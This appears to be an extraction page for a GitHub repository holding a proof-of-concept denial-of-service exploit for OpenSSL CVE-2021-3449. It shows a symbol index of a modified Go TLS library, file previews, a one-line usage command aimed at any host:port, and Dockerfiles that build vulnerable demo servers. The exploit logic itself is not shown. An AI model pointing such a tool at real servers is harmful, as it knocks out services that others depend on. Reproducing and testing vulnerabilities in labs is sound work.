method PublicKey (line 118) | func (p *x25519Parameters) PublicKey() []byte {
method SharedKey (line 122) | func (p *x25519Parameters) SharedKey(peerPublicKey []byte) []byte {
FILE: tls/prf.go
function splitPreMasterSecret (line 20) | func splitPreMasterSecret(secret []byte) (s1, s2 []byte) {
function pHash (line 27) | func pHash(result, secret, seed []byte, hash func() hash.Hash) {
function prf10 (line 48) | func prf10(result, secret, label, seed []byte) {
function prf12 (line 67) | func prf12(hashFunc func() hash.Hash) func(result, secret, label, seed [...
constant masterSecretLength (line 78) | masterSecretLength = 48
constant finishedVerifyLength (line 79) | finishedVerifyLength = 12
function prfAndHashForVersion (line 87) | func prfAndHashForVersion(version uint16, suite *cipherSuite) (func(resu...
function prfForVersion (line 101) | func prfForVersion(version uint16, suite *cipherSuite) func(result, secr...
function masterFromPreMasterSecret (line 108) | func masterFromPreMasterSecret(version uint16, suite *cipherSuite, preMa...
function keysFromMasterSecret (line 121) | func keysFromMasterSecret(version uint16, suite *cipherSuite, masterSecr...
function newFinishedHash (line 143) | func newFinishedHash(version uint16, cipherSuite *cipherSuite) finishedH...
type finishedHash (line 159) | type finishedHash struct
method Write (line 174) | func (h *finishedHash) Write(msg []byte) (n int, err error) {
method Sum (line 190) | func (h finishedHash) Sum() []byte {
method clientSum (line 202) | func (h finishedHash) clientSum(masterSecret []byte) []byte {
method serverSum (line 210) | func (h finishedHash) serverSum(masterSecret []byte) []byte {
method hashForClientCertificate (line 218) | func (h finishedHash) hashForClientCertificate(sigType uint8, hashAlg ...
method discardHandshakeBuffer (line 242) | func (h *finishedHash) discardHandshakeBuffer() {
function noExportedKeyingMaterial (line 249) | func noExportedKeyingMaterial(label string, context []byte, length int) ...
function ekmFromMasterSecret (line 254) | func ekmFromMasterSecret(version uint16, suite *cipherSuite, masterSecre...
FILE: tls/ticket.go
method encryptTicket (line 18) | func (c *Conn) encryptTicket(state []byte) ([]byte, error) {
method decryptTicket (line 42) | func (c *Conn) decryptTicket(encrypted []byte) (plaintext []byte, usedOl...
FILE: tls/tls.go
function Client (line 24) | func Client(conn net.Conn, config *Config) *Conn {
type timeoutError (line 28) | type timeoutError struct
method Error (line 30) | func (timeoutError) Error() string { return "tls: DialWithDialer tim...
method Timeout (line 31) | func (timeoutError) Timeout() bool { return true }
method Temporary (line 32) | func (timeoutError) Temporary() bool { return true }
function DialWithDialer (line 41) | func DialWithDialer(dialer *net.Dialer, network, addr string, config *Co...
function Dial (line 113) | func Dial(network, addr string, config *Config) (*Conn, error) {
Condensed preview — 35 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (244K chars).
[
{
"path": ".gitignore",
"chars": 15,
"preview": "/cve-2021-3449\n"
},
{
"path": "Makefile",
"chars": 1072,
"preview": "cve-2021-3449: main.go $(wildcard tls/*.go)\n\tgo build -o cve-2021-3449 .\n\nexport UBUNTU_VERSION\n\n.ONESHELL:\ndemo-openssl"
},
{
"path": "README.md",
"chars": 14230,
"preview": "# CVE-2021-3449 OpenSSL <1.1.1k DoS exploit\n\nUsage: `go run . -host hostname:port`\n\nThis program implements a proof-of-c"
},
{
"path": "demo/.dockerignore",
"chars": 113,
"preview": "*\n!*.so*\n!openssl\n!server.pem\n!apache-default-ssl.conf\n!haproxy.cfg\n!lighttpd-10-ssl.conf\n!nginx.conf\n!nodejs.js\n"
},
{
"path": "demo/.gitignore",
"chars": 106,
"preview": "/openssl-1.1.1j/\n/openssl_dir\n/openssl-1.1.1j.tar.gz\n/openssl-1.1.1j.tar.gz.download\n/openssl\n*.pem\n*.so*\n"
},
{
"path": "demo/Makefile",
"chars": 2490,
"preview": "CFLAGS ?= -Og -Wall\nexport CFLAGS\nCXXFLAGS ?= -Og -Wall\nexport CXXFLAGS\n\nIMAGE_PREFIX := local/cve-2021-3449\nUBUNTU_VERS"
},
{
"path": "demo/apache-default-ssl.conf",
"chars": 601,
"preview": "<IfModule mod_ssl.c>\n\t<VirtualHost 127.0.0.1:443>\n\t\tServerAdmin webmaster@localhost\n\n\t\tDocumentRoot /var/www/html\n\t\tLogL"
},
{
"path": "demo/apache.Dockerfile",
"chars": 324,
"preview": "ARG BASE_IMAGE\nFROM ${BASE_IMAGE}\nWORKDIR /root\nRUN DEBIAN_FRONTEND=noninteractive \\\n apt-get install -y apache2\nCOPY"
},
{
"path": "demo/base.Dockerfile",
"chars": 398,
"preview": "# Create base system with a vulnerable OpenSSL version.\nARG BASE_IMAGE=ubuntu:bionic\nFROM $BASE_IMAGE\nRUN DEBIAN_FRONTEN"
},
{
"path": "demo/haproxy.Dockerfile",
"chars": 225,
"preview": "ARG BASE_IMAGE\nFROM ${BASE_IMAGE}\nWORKDIR /root\nRUN DEBIAN_FRONTEND=noninteractive \\\n apt-get install -y haproxy\nCOPY"
},
{
"path": "demo/haproxy.cfg",
"chars": 1135,
"preview": "# generated 2021-03-28, Mozilla Guideline v5.6, HAProxy 2.1, OpenSSL 1.1.1j, intermediate configuration\n# https://ssl-co"
},
{
"path": "demo/lighttpd-10-ssl.conf",
"chars": 1018,
"preview": "# generated 2021-03-28, Mozilla Guideline v5.6, lighttpd 1.4.55, OpenSSL 1.1.1j, intermediate configuration\n# https://ss"
},
{
"path": "demo/lighttpd.Dockerfile",
"chars": 272,
"preview": "ARG BASE_IMAGE\nFROM ${BASE_IMAGE}\nWORKDIR /root\nRUN DEBIAN_FRONTEND=noninteractive \\\n apt-get install -y lighttpd\nCOP"
},
{
"path": "demo/nginx.Dockerfile",
"chars": 239,
"preview": "ARG BASE_IMAGE\nFROM ${BASE_IMAGE}\nWORKDIR /root\nRUN DEBIAN_FRONTEND=noninteractive \\\n apt-get install -y nginx\nCOPY n"
},
{
"path": "demo/nginx.conf",
"chars": 1395,
"preview": "user root;\npid /run/nginx.pid;\nworker_processes auto;\nworker_rlimit_nofile 65535;\n\nevents {\n multi_accept on;\n "
},
{
"path": "demo/nodejs.Dockerfile",
"chars": 296,
"preview": "ARG BASE_IMAGE\nFROM ${BASE_IMAGE}\nWORKDIR /root\nRUN DEBIAN_FRONTEND=noninteractive \\\n curl -fsSL https://deb.nodesour"
},
{
"path": "demo/nodejs.js",
"chars": 306,
"preview": "const https = require('https');\nconst fs = require('fs');\n\nconst options = {\n key: fs.readFileSync('server.pem'),\n cer"
},
{
"path": "demo/openssl-1.1.1j.tar.gz.sha256sum",
"chars": 97,
"preview": "aaf2fcb575cdf6491b98ab4829abf78a3dec8402b8b81efc8f23c00d443981bf openssl-1.1.1j.tar.gz.download\n"
},
{
"path": "demo/openssl.Dockerfile",
"chars": 139,
"preview": "ARG BASE_IMAGE\nFROM ${BASE_IMAGE}\nWORKDIR /root\nCMD [\"gdb\", \"-batch\", \"-ex\", \"run\", \"-ex\", \"bt\", \"--args\", \"/usr/bin/ope"
},
{
"path": "go.mod",
"chars": 94,
"preview": "module cve_2021_3449\n\ngo 1.14\n\nrequire golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2\n"
},
{
"path": "go.sum",
"chars": 824,
"preview": "golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2 h1:It14KIkyBFYkHkwZ7k45minvA9aorojkyjGk9KJ5B/w=\ngolang.org/x/cryp"
},
{
"path": "main.go",
"chars": 906,
"preview": "package main\n\nimport (\n\t\"flag\"\n\t\"os\"\n\n\t\"cve_2021_3449/tls\"\n)\n\nfunc main() {\n\thost := flag.String(\"host\", \"\", \"host:port "
},
{
"path": "tls/alert.go",
"chars": 3042,
"preview": "// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
},
{
"path": "tls/auth.go",
"chars": 8874,
"preview": "// Copyright 2017 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
},
{
"path": "tls/cipher_suites.go",
"chars": 13941,
"preview": "// Copyright 2010 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
},
{
"path": "tls/common.go",
"chars": 32507,
"preview": "// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
},
{
"path": "tls/conn.go",
"chars": 38433,
"preview": "// Copyright 2010 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
},
{
"path": "tls/generate_cert.go",
"chars": 4590,
"preview": "// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
},
{
"path": "tls/handshake_client.go",
"chars": 25526,
"preview": "// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
},
{
"path": "tls/handshake_messages.go",
"chars": 44463,
"preview": "// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
},
{
"path": "tls/key_agreement.go",
"chars": 10848,
"preview": "// Copyright 2010 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
},
{
"path": "tls/key_schedule.go",
"chars": 3163,
"preview": "// Copyright 2018 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
},
{
"path": "tls/prf.go",
"chars": 8544,
"preview": "// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
},
{
"path": "tls/ticket.go",
"chars": 2230,
"preview": "// Copyright 2012 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
},
{
"path": "tls/tls.go",
"chars": 3316,
"preview": "// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
}
]
About this extraction
This page contains the full source code of the terorie/cve-2021-3449 GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 35 files (220.5 KB), approximately 64.6k tokens, and a symbol index with 418 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.